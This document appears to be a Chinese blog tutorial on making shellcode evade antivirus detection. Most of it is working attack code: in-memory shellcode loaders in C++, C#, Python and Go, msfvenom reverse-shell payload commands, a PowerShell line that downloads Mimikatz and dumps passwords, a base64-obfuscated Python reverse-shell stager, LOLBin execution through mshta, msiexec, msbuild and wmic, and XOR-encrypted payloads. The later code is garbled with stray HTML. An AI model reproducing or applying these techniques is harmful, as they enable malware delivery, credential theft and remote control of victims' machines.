那些shellcode免杀总结

首发先知: https://xz.aliyun.com/t/7170

自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。

文中我将shellcode免杀技巧分为 “分离”、”混淆”两个大类,通过不同技巧针对不同检测方式,也就是常听到的特征检测、行为检测、云查杀。

个人能力有限,文中出现错误还请斧正、轻喷。

0x01 那些shellcode”分离”免杀

首先来看看关于shellcode常用得C/C++加载方式

常见方式比如函数指针执行、内联汇编指令、伪指令等方式。

那些shellcode免杀总结

但是这种shellcode明显 和执行程序在一起很容易被查杀

那些shellcode免杀总结

所以大多数分离免杀的思想就是把执行shellcode和加载程序分开。

来看看常见的分离加载 拿C++举例

正常使用像 VirtualAlloc 内存操作的函数执行shellcode :

#include "stdafx.h"
#include "windows.h"

using namespace std;
int main(int argc, char **argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中

举例:shellcode从文本提取或从远程下载获取。

这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组,动态分配内存执行shellcode:

#include "stdafx.h"
#include <string>
#include 
#include 
#include 
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    BOOL  bResults = FALSE;
    hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
    }

    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
    }
    LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
    SIZE_T len = lstrlenW(header);
    WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
    if (hRequest)
    {
        std::string data = "name=host&sign=xx11sad";
        const void *ss = (const char *)data.c_str();
        bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
        ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 );
    }
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
            {
                printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());

                break;
            }

            if (!dwSize)
                break;

            pszOutBuffer = new char[dwSize + 1];

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                break;
            }

            ZeroMemory(pszOutBuffer, dwSize + 1);

            if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
            {
                printf("Error %u in WinHttpReadData.\n", GetLastError());
            }
            else
            {
                printf("ok");
            }
            //char ShellCode[1024];
            int code_length = strlen(pszOutBuffer);
            char* ShellCode = (char*)calloc(code_length  /2 , sizeof(unsigned char));

            for (size_t count = 0; count < code_length / 2; count++){
                sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
                pszOutBuffer += 2;
            }
            printf("%s", ShellCode);
            //strcpy(ShellCode,pszOutBuffer);
            void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, ShellCode, sizeof ShellCode);
            ((void(*)())exec)();
            delete[] pszOutBuffer;
            if (!dwDownloaded)
                break;
        } while (dwSize > 0);
    }
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    system("pause");
}

那些shellcode免杀总结

看下查杀情况: 去除shellcode后火绒已经不杀了

那些shellcode免杀总结

类似这种远程读取中还有很多 ,类如powershell内存加载,相信各位也没少用过

举例:powershell远程加载mimikatz读取密码

powershell IEX (New-Object Net.WebClient).DownloadString('
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt

那些shellcode免杀总结

类似的还有很多,不过这种用得很多内存加载有些杀软还是拦的,怎么解决我们文后面再说。

其实到这里,用的最多的语言加载器的原理不用说也知道了,这里还是解释下加载器,引用我同事对加载器的解释:

shellcode就好比一杯水,加载器就是装水的杯子,水倒进了杯子才可以喝,shellcode被加载器装载后才可以执行。

A)那些加载器执行shellcode:

ssi:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5

那些shellcode免杀总结

那些shellcode免杀总结

shellcode_launcher:

那些shellcode免杀总结

c#加载:

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {

            };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
            IntPtr pinfo = IntPtr.Zero;
            // execute native code
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            }
                    private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            [DllImport("kernel32")]
                    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
            [DllImport("kernel32")]
                    private static extern bool VirtualFree(IntPtr lpAddress,
            UInt32 dwSize, UInt32 dwFreeType);
            [DllImport("kernel32")]
                    private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
            [DllImport("kernel32")]
                    private static extern bool CloseHandle(IntPtr handle);
            [DllImport("kernel32")]
                    private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
            [DllImport("kernel32")]
                    private static extern IntPtr GetModuleHandle(
            string moduleName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetProcAddress(
            IntPtr hModule,
            string procName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 LoadLibrary(
            string lpFileName
            );
            [DllImport("kernel32")]
                    private static extern UInt32 GetLastError();
      }
}

py加载:

import base64,sys;
import ctypes

whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    ctypes.windll.user32.ShowWindow(whnd, 0)
    ctypes.windll.kernel32.CloseHandle(whnd)

exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

go内联c加载:

package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
    ...省略...

    buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.

    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

资源加载:

CPLResourceRunner

cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

用Cobalt Strike 生成shellcode

Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)

py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt

H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==

Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl

powershell加载(MMFml):

namespace mmfExeTwo
{
   using System;
   using System.IO.MemoryMappedFiles;
   using System.Runtime.InteropServices;

   class Program
   {

       private delegate IntPtr NewDelegate();

       // To handle the location by applying the appropriate type
       // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
       // into the Memory Mapped File.  This allows the location of the opp code to be referenced later for execution
       private unsafe static IntPtr GetShellMemAddr()
       {
           // 64bit shell code.  Tested on a win10 system.  Injects "cmd -k calc"
           // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
           var shellcode = new byte[]
               {
                    0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
                    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
                    0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
                    0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
                    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
                    0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
                    0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
                    0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
                    0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
                    0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
                    0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                    0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
                    0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
                    0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                    0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
                    0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
               };

           MemoryMappedFile mmf = null;
           MemoryMappedViewAccessor viewaccessor = null;

           try
           {
               /* The try block creates the MMF and assigns the RWE permissions
               The view accessor is created with matching permissions
               the shell code from GetShellMemAddr is written to MMF
               then the pointer is gained and a delegate is created to handle pointer value
               so that it can be passed in therms of the returned function */

               mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
               viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
               var pointer = (byte*)0;
               viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
               var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
               return func();
           }
           catch
           {
               return IntPtr.Zero;
           }
           finally // You should always clean up after yourself :)
           {
               viewaccessor.Dispose();
               mmf.Dispose();
           }
       }

       static void Main(string[] args)
       {
           GetShellMemAddr();
       }
   }
}
msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp

Invoke-MMFml

那些shellcode免杀总结

加载器就到这里吧,加载器的实现有能力可以自己造轮子,免杀效果非常不错的。

B)Lolbins白利用加载shellcode

除了加载器这种”杯子和水”的分离的思想,个人认为还具有”分离”免杀思想的就是Lolbins,也就是白名单。

下面例举一些白利用,这种分离多半是因为杀行为特征,比如你这个程序运行上下文不应该访问某个api,这种就会被捕获,而白利用就是绕过这种行为捕获,而这种白利用中有的shellcode或执行文件还是会落地被查杀,这个文后部分会提到,先来看白利用。

LOLBins,全称”Living-Off-the-Land Binaries”,直白翻译为”生活在陆地上的二进制”,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。 说白了就是白利用 ,举个例子

DarkHydrus APT样本

MD5:B108412F1CDC0602D82D3E6B318DC634

使用到的启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”

这里就用了cscript加载vbs 添加开机启动项,启动脚本。

mshta:

payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin

cat shellcode.bin |base64 -w 0

mshta.exe http://192.168.174.134 /qing.hta

替换模板:

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

tshellcode替换位置:

那些shellcode免杀总结

Msiexec:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt

C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt

加载dll:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll

msiexec /y C:\qing.dll

Msbuild:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml

模板用三好师傅的:
https://github.com/3gstudent/msbuild-inline-task

那些shellcode免杀总结

Installutil

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs

执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe

详细:
How to Bypass Application Whitelisting & AV

wmic:

csharp;gutter:true; wmic os get /FORMAT:"http://example.com/evil.xsl"</p> <p>模板: https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl</p> <pre><code> csc: </code></pre> <p>msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp</p> <p>C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs</p> <pre><code> 通过IInstallutil执行即可 白利用就不列举更多了,其他一些白利用也是一个道理,那么问题来了,前面说的白利用执行某些时候我们的shellcode生成的exe或者dll还是会落地, 虽然前面说的内存加载可以解决这个问题,那假设必须落地,怎么逃过各种检测呢? 这就是我归为免杀的第二个方式大类,混淆免杀。 0x02 那些shellcode"混淆"免杀 shellcode是否可以像php一句话那样混淆、加密、拆分呢 还是从最简单的举例子开始 ## A)shellcode编码混淆 xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别 这里拿C# xor为例子(ShellcodeWrapper): </code></pre> <p>using System; using System.IO; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; using System.Runtime.InteropServices;</p> <p>namespace RunShellCode { static class Program { //============================================================================== // CRYPTO FUNCTIONS //============================================================================== private static T[] SubArray(this T[] data, int index, int length) { T[] result = new T[length]; Array.Copy(data, index, result, 0, length); return result; }</p> <pre><code> private static byte[] xor(byte[] cipher, byte[] key) { byte[] decrypted = new byte[cipher.Length]; for(int i = 0; i < cipher.Length; i++) { decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); } return decrypted; } //-------------------------------------------------------------------------------------------------- // Decrypts the given a plaintext message byte array with a given 128 bits key // Returns the unencrypted message //-------------------------------------------------------------------------------------------------- private static byte[] aesDecrypt(byte[] cipher, byte[] key) { var IV = cipher.SubArray(0, 16); var encryptedMessage = cipher.SubArray(16, cipher.Length - 16); // Create an AesManaged object with the specified key and IV. using (AesManaged aes = new AesManaged()) { aes.Padding = PaddingMode.PKCS7; aes.KeySize = 128; aes.Key = key; aes.IV = IV; using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(encryptedMessage, 0, encryptedMessage.Length); } return ms.ToArray(); } } } //============================================================================== // MAIN FUNCTION //============================================================================== static void Main() { byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 }; string key = "qing"; string cipherType = "xor"; byte[] shellcode = null; //-------------------------------------------------------------- // Decrypt the shellcode if (cipherType == "xor") { shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); } else if (cipherType == "aes") { shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key)); } //-------------------------------------------------------------- // Copy decrypted shellcode to memory UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // Prepare data IntPtr pinfo = IntPtr.Zero; // Invoke the shellcode hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject [DllImport("kernel32")] private static extern UInt32 VirtualAlloc( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect ); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } </code></pre> <p>}</p> <pre><code> 其他语言也是一样,比如py 异或编码、base64、十六进制这些都是可以的 py Base64(k8gege): </code></pre> <p>import ctypes import sys import base64</p> <h1>calc.exe</h1> <h1>REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==</h1> <p>shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))</p> <p>buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)</p> <p>ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))</p> <p>ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))</p> <p>ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))</p> <pre><code> py 十六进制(k8gege): </code></pre> <h1>scrun by k8gege</h1> <p>import ctypes import sys</p> <h1>calc.exe</h1> <h1>sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"</h1> 